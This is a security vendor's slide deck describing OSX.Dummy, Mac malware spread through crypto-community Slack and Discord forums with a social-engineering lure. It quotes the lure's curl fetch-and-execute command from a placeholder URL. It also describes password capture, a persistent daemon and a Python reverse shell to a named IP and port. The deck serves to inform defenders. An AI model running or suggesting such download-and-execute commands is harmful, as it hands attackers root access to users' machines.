Title: OSX.Dummy: Mac Malware Targets Crypto-Community Forums
1OSX.Dummy Mac Malware Targets Crypto-Community
Forums
Attackers posing as admins are asking users from
crypto-community channel forums of Slack and
Discord to infect themselves with malware through
the use of simple, and rather dumb, social
engineering tactics. Mac researchers agreed
naming the malware OSX.Dummy, for a reason.
www.izoologic.com
2OSX.Dummy Mac Malware Targets Crypto-Community
Forums
The following command was shared to unknowing
crypto forums
" cd /tmp curl -s curl MALICIOUS_URL gt
script chmod x script ./script"
If this obviously sketchy line of code managed to
trick someone by typing them via terminal
command, a huge 34 MB of malicious binary will be
downloaded and executed.
www.izoologic.com
3OSX.Dummy Mac Malware Targets Crypto-Community
Forums
The rather massive size was influenced by a
multitude of OpenSSL and V8 libraries that're
seem to be compiled within.
www.izoologic.com
4OSX.Dummy Mac Malware Targets Crypto-Community
Forums
What happens next? First the malware gives root
the permission access on the malicious script.
By doing this, the victim will be required to
enter the password in the terminal. The password,
then, gets saved by the malware to
"/tmp/dumpdummy".
www.izoologic.com
5OSX.Dummy Mac Malware Targets Crypto-Community
Forums
After finally reaching the victim's root, it
creates a reverse shell script file and launch a
persistent Daemon program so it won't stop
running and activating. Basically, a reverse
shell is a method in which the victim
communicates back to the attacker to offer admin
access and streamline a solid connection between
the two.
www.izoologic.com
6OSX.Dummy Mac Malware Targets Crypto-Community
Forums
In this case, the malicious reverse shell script
file uses Python programming language to open a
reverse shell connection to 185.243.115.230, on
Port 1337. If this succeeds, it'll be easy for
the attacker to control the victim's PC (with
root access) and execute admin commands.
www.izoologic.com
7OSX.Dummy Mac Malware Targets Crypto-Community
Forums
As OSX.Dummy is only shared within
crypto-community forums, one can simply deduce
that its makers intended theft of
crypto-currency. To negate this malware
altogether though, is as simple (but effective)
as blocking off 185.243.115.230 - the particular
IP address to which the shell script is
maliciously communicating with.
www.izoologic.com
8Level 1, 444 Castro Street, Mountain View,
California, USA
www.izoologic.com
1 650 396 3352
sales_at_izoologic.com
www.izoologic.com
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